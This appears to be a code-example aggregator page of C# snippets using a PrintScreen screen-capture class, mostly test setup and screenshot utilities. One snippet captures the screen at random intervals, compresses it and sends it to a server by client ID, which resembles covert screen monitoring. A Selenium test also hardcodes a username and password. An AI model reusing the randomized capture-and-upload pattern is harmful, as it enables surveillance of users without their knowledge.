示例#1
0
        public void Run()
        {
            int sleepTime = (int)Math.Round(1000 / framesPerSecond);

            using (var window = new Window("capture"))
            {
                PrintScreen ps = new PrintScreen();
                // Frame image buffer
                Mat image = new Mat();

                while (true)
                {
                    Image  img           = ps.CaptureScreen();
                    Bitmap bmpScreenshot = new Bitmap(img);
                    image = BitmapConverter.ToMat(bmpScreenshot);

                    if (!image.Empty())
                    {
                        window.ShowImage(image);
                    }

                    Cv2.WaitKey(sleepTime);
                }
            }
        }
示例#2
0
 private void ScreenTimer_Tick(object sender, EventArgs e)
 {
     if (t == 0)
     {
         t = Common.GetRandom(15, 60);
         byte[] bs       = new byte[] { };
         int    ClientID = Convert.ToInt32(this.Csid);
         string result   = sendScreen(ClientID, null);
         if (string.IsNullOrEmpty(result) || result == "0")
         {
             Bitmap bitmap = null;
             try
             {
                 bitmap = PrintScreen.captureScreen();
             }
             catch (Exception)
             {
             }
             if (bitmap != null)
             {
                 byte[] imgByte = GZip.Compress(Common.ImageGdi(bitmap));
                 string s       = sendScreen(ClientID, imgByte);
             }
         }
     }
     else
     {
         t--;
     }
 }
示例#3
0
 public void BeforeEach()
 {
     driver      = new ChromeDriver();
     loginPage   = new PageLogin(driver, timeoutInSeconds);
     browser     = new Browser(driver);
     printScreen = new PrintScreen(driver);
     browser.WindowMaximize();
     loginPage.Visit();
 }
        static void Main(string[] args)
        {
            args = new string[] { "y" };

            if (args[0] == "y")
            {
                PrintScreen ps = new PrintScreen();
                ps.CaptureScreen();
            }
        }
示例#5
0
        public void BeforeEach()
        {
            // @arrange
            driver = new ChromeDriver();

            paginaLogin = new PaginaLogin(driver, timeoutTempoEmSegundos);
            browser     = new Browser(driver);
            printScreen = new PrintScreen(driver);

            browser.MaximizarTela();
            paginaLogin.Visita();
        }
示例#6
0
        public void BeforeEach()
        {
            driver = new ChromeDriver();

            paginaLogin       = new PaginaLogin(driver, timeoutTempoEmSegundos);
            browser           = new Browser(driver);
            printScreen       = new PrintScreen(driver);
            paginaRelatarCaso = new PaginaRelatarCaso(driver, timeoutTempoEmSegundos);
            itensGeraisMantis = new ItensGeraisMantis(driver, timeoutTempoEmSegundos);

            // @arrange
            browser.MaximizarTela();
            paginaLogin.Visita();
            paginaLogin.RealizarLoginComUsuarioESenhaCorretos();
            paginaRelatarCaso.Visita();
        }
        static void Main(string[] args)
        {
            args = new string[] { "y" };

            if (args[0] == "y")
            {
                di = new DirectoryInfo("C:\\ss");
                if (!di.Exists)
                {
                    di.Create();
                }

                PrintScreen ps = new PrintScreen();
                ps.CaptureScreenToFile(di + "\\screen.png", System.Drawing.Imaging.ImageFormat.Png);
            }
        }
示例#8
0
        public void BeforeEach()
        {
            driver          = new ChromeDriver();
            loginPage       = new PageLogin(driver, timeInSeconds);
            browser         = new Browser(driver);
            printScreen     = new PrintScreen(driver);
            reportIssuePage = new ReportIssue(driver, timeInSeconds);
            constants       = new Constants(driver, timeInSeconds);

            string usuario = "pedro.nascimento";
            string senha   = "123456";

            browser.WindowMaximize();
            loginPage.Visit();
            loginPage.Login(usuario, senha);
            reportIssuePage.Visit();
        }
    void Awake()
    {
        if (instance != this && instance != this)
        {
            instance = this;
            DontDestroyOnLoad(gameObject);
        }
        else
        {
            Destroy(gameObject);
        }



        StartWidth  = Screen.width;
        StartHeight = Screen.height;
        RefreshRect();
    }
 public SaveDialogForm(bool _isSaveGraphicsChangeOfRAndE, bool _isManualNCalculated, PrintScreen pScreen)
 {
     try
     {
         InitializeComponent();
         isSaveGraphicsChangeOfRAndE = _isSaveGraphicsChangeOfRAndE;
         isManualNCalculated         = _isManualNCalculated;
         printscreen              = pScreen;
         saveFileDialog1.Filter   = "Text (*.txt)|*.txt";
         saveFileDialog1.FileName = getDefaultFileName();
         //saveFileDialog1.ShowDialog();
         saveFiles();
     }
     catch (Exception ex)
     {
         Logger.WriteNode(ex.Message.ToString() + "[SaveDialogForm.xaml.cs] {public SaveDialogForm(bool _isSaveGraphicsChangeOfRAndE, bool _isManualNCalculated, PrintScreen pScreen)}", System.DateTime.Now);
     }
 }
示例#11
0
        // フックしたキーを受け取るメソッド
        public void KeyDownEvet(Int32 key)
        {
            switch (key)
            {
            case 27:
                this._closeCount++;
                if (2 < this._closeCount)
                {
                    this.Close();
                }
                break;

            default:
                if (this.Conf.BootMode == 0)
                {
                    if (key == this.Conf.PrintKeyCode)
                    {
                        if (!System.IO.Directory.Exists(this.Conf.SaveDir))
                        {
                            return;
                        }
                        PrintScreen.CaptureActiveWindow()
                        .Save(System.IO.Path.Combine(System.IO.Path.GetFullPath(this.Conf.SaveDir),
                                                     String.Format(@"{0}.png", DateTime.Now.ToString("yyyyMMddHHmmss"))),
                              System.Drawing.Imaging.ImageFormat.Png);
                        if (this.Conf.Effect == 1)
                        {
                            this.boardFlash.Begin();
                        }
                    }
                }
                else
                {
                    this.DispButton.Content = key;
                    this.boardDisp.Begin();
                }

                this._closeCount = 0;
                break;
            }
        }
示例#12
0
        static void Main(string[] args)
        {
            Program p = new Program();

            string      folderCreation = CreateFolder("Screenshot");
            string      path           = AppDomain.CurrentDomain.BaseDirectory;
            PrintScreen ps             = new PrintScreen();

            ps.CaptureScreenToFile(path + "\\screen.jpg", ImageFormat.Jpeg);
            if (folderCreation != "Sorry but the file Screenshot already exists!")
            {
                var fileMetadata = new File()
                {
                    Name    = "screenshot.jpg",
                    Parents = new List <string> {
                        folderCreation
                    }
                };
                FilesResource.CreateMediaUpload request;
                // Create Drive API service.
                var service = new DriveService(new BaseClientService.Initializer()
                {
                    HttpClientInitializer = p.GetCredential(),
                    ApplicationName       = ApplicationName,
                });

                // Define parameters of request.
                FilesResource.ListRequest listRequest = service.Files.List();
                listRequest.PageSize = 10;
                listRequest.Fields   = "nextPageToken, files(id, name)";
                using (var stream = new System.IO.FileStream(path + "\\screen.jpg",
                                                             System.IO.FileMode.Open))
                {
                    //fileMetadata.Parents.Add()
                    request = service.Files.Create(
                        fileMetadata, stream, "image/jpeg");
                    request.Fields = "id";
                    request.Upload();
                }


                // List files.
                IList <Google.Apis.Drive.v3.Data.File> files = listRequest.Execute()
                                                               .Files;
                Console.WriteLine("Files:");
                if (files != null && files.Count > 0)
                {
                    foreach (var file1 in files)
                    {
                        Console.WriteLine("{0} ({1})", file1.Name, file1.Id);
                    }
                }
                else
                {
                    Console.WriteLine("No files found.");
                }
                Console.Read();
            }
            else
            {
                var service = new DriveService(new BaseClientService.Initializer()
                {
                    HttpClientInitializer = p.GetCredential(),
                    ApplicationName       = ApplicationName,
                });
                var listRequest = service.Files.List();
                listRequest.PageSize = 100;
                listRequest.Q        = "trashed = false and name contains 'Screenshot' and 'root' in parents";
                listRequest.Fields   = "files";
                var    files = listRequest.Execute().Files;
                string id    = "";
                foreach (var file in files)
                {
                    if ("Screenshot" == file.Name)
                    {
                        id = file.Id;
                    }
                }
                var fileMetadata = new File()
                {
                    Name    = "screenshot.jpg",
                    Parents = new List <string> {
                        id
                    }
                };

                Console.WriteLine("Folder Already Exists");
                FilesResource.CreateMediaUpload request;
                using (var stream = new System.IO.FileStream(path + "\\screen.jpg",
                                                             System.IO.FileMode.Open))
                {
                    //fileMetadata.Parents.Add()
                    request = service.Files.Create(
                        fileMetadata, stream, "image/jpeg");
                    request.Fields = "id";
                    request.Upload();
                }
            }
        }
        public WindowForNManualCalculation(GraphicPlotting pl, PrintScreen pS)
        {
            try
            {
                InitializeComponent();

                plotting    = pl;
                printScreen = pS;
                printScreen.IsNManualWindowCreated = true;
                //WindowStartupLocation = System.Windows.WindowStartupLocation.CenterScreen;
                if (pl.Ag < OptionsInPlottingMode.EndIntervalForN)
                {
                    //ovde u prozoru ispisi da je Ag manje od OptionsInPlottingMode.EndIntervalFor
                    return;
                }

                this.WindowStartupLocation = WindowStartupLocation.Manual;
                this.Left = xconst;
                this.Top  = yconst;


                if (plotting.Fs_FittingForManualNProperty != null && plotting.DeltaLsInProcForManualNProperty != null && plotting.PreassureForNManualProperty != null)
                {
                    //set textblocks
                    if (plotting.Fs_FittingForManualNProperty.Count > 0 && plotting.DeltaLsInProcForManualNProperty.Count > 0 && plotting.NManual > 0.0 && plotting.PreassureForNManualProperty.Count > 0)
                    {
                        plotting.NManual = Math.Round(plotting.NManual, 4);
                        plotting.PreassureForNManualProperty[0] = Math.Round(plotting.PreassureForNManualProperty[0], 0);
                        plotting.PreassureForNManualProperty[1] = Math.Round(plotting.PreassureForNManualProperty[1], 0);
                        plotting.PreassureForNManualProperty[2] = Math.Round(plotting.PreassureForNManualProperty[2], 0);
                        plotting.PreassureForNManualProperty[3] = Math.Round(plotting.PreassureForNManualProperty[3], 0);
                        plotting.PreassureForNManualProperty[4] = Math.Round(plotting.PreassureForNManualProperty[4], 0);

                        LastInputOutputSavedData.R1      = plotting.PreassureForNManualProperty[0].ToString();
                        LastInputOutputSavedData.R2      = plotting.PreassureForNManualProperty[1].ToString();
                        LastInputOutputSavedData.R3      = plotting.PreassureForNManualProperty[2].ToString();
                        LastInputOutputSavedData.R4      = plotting.PreassureForNManualProperty[3].ToString();
                        LastInputOutputSavedData.R5      = plotting.PreassureForNManualProperty[4].ToString();
                        LastInputOutputSavedData.Manualn = plotting.NManual.ToString();


                        string myXmlString = String.Empty;
                        //List<string> myXmlStrings = File.ReadAllLines(Constants.sampleReportFilepath).ToList();
                        List <string> myXmlStrings = File.ReadAllLines(Properties.Settings.Default.sampleReportFilepath).ToList();
                        if (myXmlStrings.Count == 0)
                        {
                            return;
                        }
                        foreach (string s in myXmlStrings)
                        {
                            myXmlString += s;
                        }

                        if (myXmlString.Contains(Constants.XML_roots_ROOT) == false)
                        {
                            MessageBox.Show(" Učitali ste fajl sa pogrešnim formatom !! ");
                            return;
                        }

                        XmlDocument xml = new XmlDocument();
                        xml.LoadXml(myXmlString);
                        XmlNodeList xnList = xml.SelectNodes("/" + Constants.XML_roots_ROOT + "/" + Constants.XML_roots_Sadrzaj);

                        foreach (XmlNode xn in xnList)
                        {
                            xn[Constants.XML_R1].InnerText      = LastInputOutputSavedData.R1;
                            xn[Constants.XML_R2].InnerText      = LastInputOutputSavedData.R2;
                            xn[Constants.XML_R3].InnerText      = LastInputOutputSavedData.R3;
                            xn[Constants.XML_R4].InnerText      = LastInputOutputSavedData.R4;
                            xn[Constants.XML_R5].InnerText      = LastInputOutputSavedData.R5;
                            xn[Constants.XML_manualN].InnerText = LastInputOutputSavedData.Manualn;
                            xn[Constants.XML_manualN_BeginInterval].InnerText = OptionsInPlottingMode.BeginIntervalForN.ToString();
                            xn[Constants.XML_manualN_EndInterval].InnerText   = OptionsInPlottingMode.EndIntervalForN.ToString();
                        }

                        //xml.Save(Constants.sampleReportFilepath);
                        xml.Save(Properties.Settings.Default.sampleReportFilepath);



                        lblA1.Text      = "A" + "\x2081 = " + OptionsInPlottingMode.BeginIntervalForN + " %";
                        lblA2.Text      = "A" + "\x2082 = " + OptionsInPlottingMode.EndIntervalForN + " %";
                        lblF1.Text      = "R" + "\x2081 = " + plotting.PreassureForNManualProperty[0] + " MPa";
                        lblF2.Text      = "R" + "\x2082 = " + plotting.PreassureForNManualProperty[1] + " MPa";
                        lblF3.Text      = "R" + "\x2083 = " + plotting.PreassureForNManualProperty[2] + " MPa";
                        lblF4.Text      = "R" + "\x2084 = " + plotting.PreassureForNManualProperty[3] + " MPa";
                        lblF5.Text      = "R" + "\x2085 = " + plotting.PreassureForNManualProperty[4] + " MPa";
                        lblNmanual.Text = "Nrucno = " + plotting.NManual;

                        LastInputOutputSavedData.Manualn = plotting.NManual.ToString();
                    }
                    else
                    {
                        resetLabels();
                    }
                }
                else
                {
                    resetLabels();
                }
            }
            catch (Exception ex)
            {
                Logger.WriteNode(ex.Message.ToString() + "[WindowForNManualCalculation.xaml.cs] {public WindowForNManualCalculation(GraphicPlotting pl, PrintScreen pS)}", System.DateTime.Now);
            }
        }